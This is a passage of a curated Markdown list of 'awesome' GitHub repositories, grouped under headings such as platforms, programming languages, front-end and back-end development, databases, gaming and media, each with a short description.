- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
- [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
- [DOS](https://github.com/balintkissdev/awesome-dos#readme) - Operating system for x86-based personal computers that was popular during the 1980s and early 1990s.
- [Nix](https://github.com/nix-community/awesome-nix#readme) - Package manager for Linux and other Unix systems that makes package management reliable and reproducible.
- [Integration](https://github.com/stn1slv/awesome-integration#readme) - Linking together different IT systems (components) to functionally cooperate as a whole.
- [Node-RED](https://github.com/naimo84/awesome-nodered#readme) - A programming tool for wiring together hardware devices, APIs, and online services.
- [Low Code](https://github.com/zenitysec/awesome-low-code#readme) - Allowing business professionals to address their needs on their own with little to no coding skills.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science.
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/inputsh/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics.
- [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme)
- [D](https://github.com/dlang-community/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
- [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [lit](https://github.com/web-padawan/awesome-lit#readme) - Library for building web components with a declarative template system.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [PageSpeed Metrics](https://github.com/csabapalfi/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
- [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps.
- [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework.
- [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed.
- [Inertia.js](https://github.com/innocenzi/awesome-inertiajs#readme) - Make single-page apps without building an API.
- [MDBootstrap](https://github.com/mdbootstrap/awesome-mdbootstrap#readme) - Templates, layouts, components, and widgets to rapidly build websites.
## Back-End Development
- [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [TALL Stack](https://github.com/livewire/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community.
- [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/vapor-community/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
- [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework.
- [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code.
- [IAM](https://github.com/kdeldycke/awesome-iam#readme) - User accounts, authentication and authorization.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/academic/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning.
- [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning.
- [JAX](https://github.com/n2cholas/awesome-jax#readme) - Automatic differentiation and XLA compilation brought together for high-performance machine learning research.
- [XAI](https://github.com/altamiracorp/awesome-xai#readme) - Providing insight, explanations, and interpretability to machine learning methods.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/accelerated-text/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models.
- [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
- [Theoretical Computer Science](https://github.com/mostafatouny/awesome-theoretical-computer-science#readme) - The interplay of computer science and pure mathematics, distinguished by its emphasis on mathematical rigour and technique.
## Big Data
- [Big Data](https://github.com/0xnr/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Neovim](https://github.com/rockerBOO/awesome-neovim#readme) - Vim-fork focused on extensibility and usability.
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/godotengine/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/ConstructCommunity/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
- [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes.
- [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter.
- [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities.
- [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s.
- [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games.
- [Esports](https://github.com/strift/awesome-esports#readme) - Video games played as a sport.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awsm.fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/alfred-workflows/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/chrislatorres/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
- [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier.
- [TypeDB](https://github.com/vaticle/typedb-awesome#readme) - Logical database to organize large and complex networks of data as one body of knowledge.
- [Cassandra](https://github.com/Anant/awesome-cassandra#readme) - Open-source, distributed, wide column store, NoSQL database management system.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/44bits/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
